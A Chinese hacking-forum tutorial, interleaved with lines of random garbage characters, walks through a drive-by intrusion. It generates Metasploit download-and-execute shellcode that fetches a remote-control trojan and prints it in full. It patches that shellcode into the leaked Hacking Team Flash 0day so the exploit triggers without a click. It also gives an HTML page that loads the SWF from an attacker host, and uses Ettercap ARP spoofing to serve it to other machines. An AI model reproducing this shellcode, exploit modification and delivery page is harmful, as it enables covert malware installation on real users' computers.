|
% q z' R1 V( f7 J( w8 W9 n( b3 e' n
三、flash 0day之手工代码修改制作下载者实例入侵演示 & k, w8 h* n: Y& X) `% f
+ w+ R7 g) |' G! {9 s$ g
) R) W2 t( [' k( x3 j- ?! J% t; B0 c# E
利用到的工具: 7 C/ t+ q0 G/ w( o5 d2 p0 s4 R
* d) s6 j2 |+ ]. C, y& j0 e* w, u
Msf m2 D& P; o6 s
2 g; z1 |" ?0 X! Q5 N/ ^* `& V6 q" P) \- B2 B
Ettercap
$ q/ r- T0 P3 E1 w) r # q0 u2 i8 _" c+ _% i- \
8 c( @! r& D$ {& A Adobe Flash CS6 - i- M ]$ b6 \- X
, E+ I8 |. s* w8 |
0 h( f( r' V2 Q0 M$ d$ z Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份 ! d8 w) z1 {" A3 E6 a" Q
3 `$ i U: F8 [- G# I
4 w* i& [& W( H+ f* {' N 下面我们就开始演示入侵,利用msf生成shellcode,首先打开msf执行use windows/download_exec,show options O; |8 v4 u3 [( j7 k3 s
5 E+ d9 d- F$ W6 X# { F
( b9 M4 B0 S0 @. w, e) {1 J" ] 如图:
, f& s2 Y! x- J$ b2 ?4 _ - C( N, j' X+ t
- K5 L x( e' h$ M/ i7 R2 S/ h4 i( ~ $ e$ n* Z: `1 ]5 m- F' }
# r# j% V( `: ?. G- ~. z- t( Z$ X. e5 z0 ]
- x& P1 ^2 _8 B- y. U
! w3 c$ c3 j* \8 y" L: G3 C- {9 Q# l4 m2 o
然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址,这里我们用远控马,远控配置使用不再详细说明。。。如图: 6 _, D- W# p' Z4 l
2 t7 w9 s( M$ t2 b6 Z
% E2 j: `7 }1 X+ H W% _ B
9 ?% F+ y4 H: g3 ]3 ~8 V6 B9 n 5 R+ _0 f. ?4 Z9 i3 `% @1 @
+ m- G4 t5 D' t& k7 O& U; C* o/ ~
2 P8 P+ Q* x$ L) c
! R: u3 d' N4 E3 Z' |
6 V) f" ~; E) y2 _) i 然后执行generate -t dword生成shellcode,如下:
; O3 g) v, z+ |+ Z4 U% q6 Z! d & M- q7 S( K+ F7 J2 Y
( S! t7 N9 a- w) f! t* z5 ^
2 I/ @ I m! \
7 n) E, i, m+ G# g! u1 w4 G' b2 g
. Y. ?* E# _1 u5 r" { 复制代码到文本下便于我们一会编辑flash exp,如下:
" X% F# y# I" J2 d" B2 y
7 n3 [/ B1 _. d* G4 [
. F: ~" m- q. J) h% w 0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31, + ~5 v7 k* t/ K" D
7 ~6 _5 w2 V) } R/ @1 {
& Q% b* I% z8 \8 l6 u+ B
0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0,
K: e' T! c( V+ ^# {" v3 s4 }
7 M4 I. j( A+ x* s, l; j3 g) S
2 [. d* c2 x b& ?1 k 0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038, . I7 H9 x4 ]" x; O0 T% m
+ l* [* M- i& R/ C9 |1 y6 ^9 u( V
0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489,
6 u& ~/ ~, U) w. `# Q" i
m% V! O8 z6 D, I+ q8 V1 z" R3 L, N
0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854, & n- P7 H) P3 W% o J
( O3 y9 L" S: n2 }# f9 e, N6 ?
# \1 }! V! \3 s1 l c 0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51, ?4 |8 P+ q1 c3 \. [7 O
1 g- n9 o: k: i2 F. ?- j' n
0 D Q" |0 u3 G 0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e,
6 v: E3 \6 I! V ' K" ]' H- P5 j7 o
+ V6 w* [. G3 o, }; j% Y
0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757, $ u8 B% ~7 y g$ j$ F$ d
: }$ z" P' O6 `4 h: @" v ?- P7 }8 j
4 T+ c: @, k; N 0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff, ( A8 p8 b9 ?8 b; W
) x8 p2 Q# w; r i, V2 R* ~* V v% I8 { M% i# }. M$ S6 J& |
0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6,
0 n8 y5 r9 I: q+ [5 j: o: w 8 b5 x1 G" }( B& Z
0 O1 S7 D$ u0 s3 z& X( q% z
0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5,
7 w8 k, i: h& I 6 R$ V7 s4 l2 B: [8 C
- W! m. I+ X6 Q* R; \ J! ~1 e 0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853,
3 N4 m$ x: S% [" X) y( J; s; b( S
! R5 r- z5 k7 _ v# M8 L
8 @! T6 g: P0 y2 t7 _5 j s 0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973,
* ^2 q5 j/ Q9 y! v* a# r - [% r# Q# v# L* ~( U
) Z w& y, n: J
0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000 ) D+ [0 p# v% d
1 w; c( A2 R3 X, [
( K5 D5 T- E( {8 m
# o" O# O& _1 a 8 o0 V; ?4 l5 @
/ z% k: n L r3 A, Y' \) v. K6 Z+ y
. A" w! l! H Q H% k5 a# J 8 b: ? u2 d" x4 h4 \8 T+ K
* Q i+ K5 {) R3 b6 S
下面我们来修改flash 0day exp,需要修改三个文件,分别为: ( n" k! G0 K, {/ x* F
6 y9 Y8 B: ~" c/ L$ C/ b% f
* l H5 z- o! U- q
% K4 F5 X8 {- }& y, ]1 n & A4 E$ U* m4 M% J: e
1 S- _1 r q6 w7 ^$ Y 先修改ShellWin32.as,部分源代码如图:
" Z8 L* p7 i5 F3 ]5 o( I# b
) G' a# G$ S# G+ X- r2 M, i. O9 f& D5 q2 N4 h4 [) Q5 _% |0 @
; P: X0 }' L' O* B) L, N* N, R; @- p . i% d. ]' @% f& d. y
( v( a/ \& K) p. j/ Z0 x
我们需要把标记处[]中的代码改成用msf生成的代码,修改后如下: 3 { g8 Y! ^1 E0 h4 F6 Y
7 A$ a! S; Z* P, A2 F+ z5 i3 Y( f% [. C/ P4 Z$ H
S5 Y! E* E* L2 b# t) O
' f' F# s9 |. ^6 e) d/ d7 r
. Q$ L+ K: q7 l6 m8 g% q 然后保存,ShellWin64.as的修改方法如上述,不再演示,下面我们来修改myclass.as,这里需要说明一下,因为此exp生成的利用程序,不能直接自动触发flash漏洞,也就是需要点击按钮才可以,实际上在做渗透的时候需要把它搞得更完美,所以就需要修改,修改方法:搜索myclass的某个字符doc.addchild(btn);如图:
7 z; ?5 y9 g9 [/ N% s# q 4 B8 u+ j) C9 l+ ^+ ~3 {; Z- w
8 X" i+ v/ P: |' q! v- K, O
4 ?6 N! ?( R5 p# v" S2 ^; I6 w
4 Q q7 @7 N8 C/ s' M8 z8 `
' \3 a5 B7 R$ y4 i9 f# |' O
换行在后面加一句TryExpl();注意是l不是数字1,然后如图:
% f P: [: z2 f0 z, `1 w5 { 1 @3 H1 c& [5 z t5 F# ?6 J- w
5 Q3 u; P* O' m
0 z3 P* Y4 z- G
& p) ]# { `& @5 M( n3 b
# J/ T: [* u. x7 m" m& V4 {3 W: d
0 g2 c' u/ D6 \( D2 A5 k! @ 3 o3 a4 `. K6 Z& }8 ]' O
6 t7 Q5 V+ @8 G ( m. a( g4 [ x: @- e
! P; G, O4 J; y8 T
: ^1 N% p& @, \6 h; j8 k/ v 然后点保存,下面我们来编译一下,打开
) g" W5 t1 y8 h6 r
% b1 `- t, O+ m
: S" D0 d- \1 U1 L exp1.fla然后点文件-发布,看看编译没错误 0 R. F! I# V( y% y+ t
, v$ E( j. j9 ?3 P: u$ v. E6 I- f
X9 Y5 F# A3 D" w# Y E8 n: u
}" z+ F7 H, n4 k+ f4 Q& Q
; s. Z; {- @8 S( K% c+ [, i
4 q$ V6 X/ C& B+ D, K9 ?1 P& A & P I6 s/ P3 v4 [3 ^% q
7 G U+ b3 K2 {4 E2 ~
7 ^7 N5 Q: ]- z5 D# e; K 5 N8 `: k, m% A/ |5 ]( Y% J
& ~9 }; `: ]5 V, P
/ a O8 d3 Z3 `% L% y4 M
* B5 b y) }/ V. N# g/ p
( V/ x$ F5 M! L% u 然后我们把生成的 ( p8 W; T5 e5 V+ x2 p! j8 N
9 A& j& W+ n7 U& r$ W3 {* H* d
8 {; _( K/ K2 e1 [; d* ~' y
exp1.swf丢到kailinux 的/var/www/html下:
3 S( m) p$ M }9 J
. o4 G1 g& L1 |' I8 G3 p! i8 S
! E E1 Z% n l; e% Y" o" N6 R: l 然后把这段代码好好编辑一下 5 ` M8 V& E& K1 r. B
' j8 r; h) |, Y& h
3 _/ G4 X- x, ]/ Z8 @
! ?4 T! s0 Z) t
2 Q( q" P: X& C2 c- K5 l+ m; a: x* X& B% r& a' R6 o
. S* Z2 p2 `+ e
) J$ X* N3 g( N$ E# {: b# o4 R9 h" y( @) p
, N5 U! E3 ^9 S+ m7 T
" ^1 O' h0 Q1 }+ L7 n {
' q; N& R( u I+ ~. X
8 R4 E1 B5 U4 R2 o g : P @! f/ N6 Y0 b0 c8 ~" a) p
% V D& R3 Q4 c: b9 q4 R4 a
: u4 E* p$ M" G$ w& N, ?, d
6 b, J" }) d2 i& m- ], ]# M) r: I" _5 u6 |
' [& [2 L& Q7 `. ^/ O3 v - [1 _1 f7 ]5 x% K: b- p. ~# Q
* @: D* U) P$ H; B0 V, g
<!DOCTYPE html>
9 y- D* m, D5 Y, t
3 f6 U( _; M; C3 \. q* r+ h, B
3 k8 p$ J: I0 G7 Z <html> # ^, x. }* t7 l4 Y! N9 K7 C) d! `
" a: y: N/ G1 L$ x( `1 t
0 ]/ k# ?; W8 i& | <head> / A/ t8 c5 E$ c: X
* J! j' N( v5 `, O G9 x& l3 x" P9 d3 M
<meta http-equiv="Content-Type" content="text/html;
0 [. ~; C% q: X, ]4 R* w
. h) k# t$ p$ [: g& T* a( G ]9 h2 E' k5 ~: J) ]
charset=utf-8"/>
9 l5 X$ o) o3 p$ S$ a; q& M2 L * D" D$ M# Z6 k% S9 _
! n8 z$ F1 M7 H) E1 W8 M8 w
</head> , W) |) Y$ U8 Z% z
& L8 W) ?# R8 Q; ~
# u+ }% @3 h- F) R <body> # X& L, F; W) _2 M U: ~3 C" t
/ O! z- P5 j% L' J8 z! Q/ X# k9 N. v- L( G
<h2> Please wait, the requested page is loading...</h2> ! w# K! s6 G' |2 N, Y& T) n/ M
6 @. f8 V- L4 U8 D" s, ~! z
- W! h7 g1 q& }: h, a& T3 z4 A! I <br>
6 v+ }" C n- j/ a5 l
9 Q: Z0 o. M: v$ m' k, l1 G' t# w$ G4 k8 G! k3 \5 Q
<OBJECT ! E( R; ^, ~1 F0 _' w
( V2 R$ e5 Y$ u/ t% N, `% j
+ @) Y8 J6 ]0 I- I classid="clsid 27CDB6E-AE6D-11cf-96B8-444553540000" WIDTH="50" HEIGHT="50" id="4">< ARAM NAME=movie + [' a1 z, E7 p3 p7 ]9 [9 S
* b+ N# p; h$ s$ e9 N
# H& t) @& {: X g+ G" R; i
VALUE="http://192.168.0.109/exp1.swf"></OBJECT> 5 k4 e* Q! }7 B7 Y0 p
/ C j# ~( ?1 Q/ \( }+ U
! g( ]5 H$ H' H$ P2 U, }1 b </body> 5 ^. \+ n3 v/ v# p; X) b9 J
0 Q9 Y8 l. d" R4 G
+ n! v, ]7 {: L' m2 G <script>
$ P8 @" O" g0 x! J8 Z" J 6 l- ~/ {8 ]/ W, K
9 R I6 n. f# f) q" i# o u setTimeout(function () { l- a- v8 o' g3 m7 L6 \4 Q
; H2 p* f8 a. V0 g2 \% v
8 }* z, h0 w0 N9 P6 {
3 q# o6 b& g1 o% @ M ? - h z1 X& i. z+ T
8 @' _7 D3 \* i$ q: X0 ?9 s/ H/ [ window.location.reload(); % J$ g+ n3 T5 x' j
/ W9 I3 }+ ]2 r; @9 ~2 I
0 @. h- s- U+ l4 A" [* N
}, 10000);
8 b6 L/ w% d, b x# K7 |& h
2 w( J0 O( H+ d9 {
" J" k# ?; P+ y! L r5 k% s4 K! y! _ B; q x2 N7 ]6 y$ \* P( Y/ ^
% }, [9 K4 U: J; c9 `
* h$ W+ A% x7 Y9 C
</script> % K% p! _1 \" C
2 H% C, r: a3 N) m
9 F3 J3 P% ~4 l* m+ t. [+ T </html>
! H; u9 E0 p1 h! c
2 `* C3 I; u6 f6 b1 n; t6 V# g: Z! b6 Q
: K7 b- d9 x! ?% D
$ |$ ~/ x0 V4 Z: x' z
V! X: V% b3 ~' k {7 p8 K" f 注意:192.168.0.109是kali的ip地址,这时候我们需要service apache2 start启动一下web服务,然后将上面的html保存为index.htm同样丢到kali web目录下,测试访问链接存在如图:
$ |. H) N4 ]& k' U0 M
/ e# B7 K; r* }7 x3 K5 u4 d, ^$ ]) E! F9 J+ h
& C" \/ y& [' p K% h
& D( Z) H1 N( a; u3 G( I6 j
( j% r/ T6 @# X2 ?* Y
; H( h: Z0 T0 l5 v+ E * s- H( a) e/ H1 W, r) X
& n" O# D' B }9 h3 U, j* @0 L" c
# W* u N. h6 [' s$ t. } * f/ Z" j# q4 g( l/ a b/ ^
" G5 h+ { p' Z; z9 ` 4 {9 T' M# T+ S7 d. [
; N1 W: A5 \. k8 O7 }# \
# D- o3 M" E8 k* o+ ^$ {. S) J: f1 i
/ C5 [% x% e& u6 | / n5 B- d& P* u; i9 w, l1 `4 p
2 F1 _7 t# r, \& h/ D1 q& L4 q% y
下面我们用ettercap欺骗如图:
+ J: o, v6 Z# z3 d9 `
" `# t( z! }7 B' G5 y G$ {% t. v+ ~' L, ~' _$ ?: z* K# R
0 {! u& G; j5 z% Z# w
- l: w+ j1 |# B) s E# b2 o# T5 N+ L' h2 G6 |: E$ l) v$ Y, C
9 @4 M. p$ U1 R5 Q0 h + N$ N. B. ]9 i, W, B" Y( T0 [
# K1 V- c+ F" D
下面我们随便访问个网站看看:
7 n1 f4 F( i, t' z6 b7 R0 ~9 e9 i
K; n0 O6 s8 R$ q: }- X6 D) ~5 B- c. Z' z. r; A( s+ {# @& u: O9 F
我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功,如图:
|8 K/ T6 y8 q' e# n ! K2 C0 a! j4 y/ ^& z& M
$ c. Y4 t1 O) H
+ e$ G# u% Z3 r9 J% Y) {; c) v: u( @1 v % m2 S1 E4 ^) N& R6 @/ m
# D% R3 d% A; J5 C' [" W/ f 我们看另一台, ; u6 [. N1 m2 Q6 y5 e+ E
6 E W6 i5 A; E3 e$ u- K+ [' B5 y, r& Y7 d% ?* Z
提示这个错误,说明木马是成功被下载执行了, 只是由于某些原因没上线而已。。。
! g& d! q, V; l' M( K |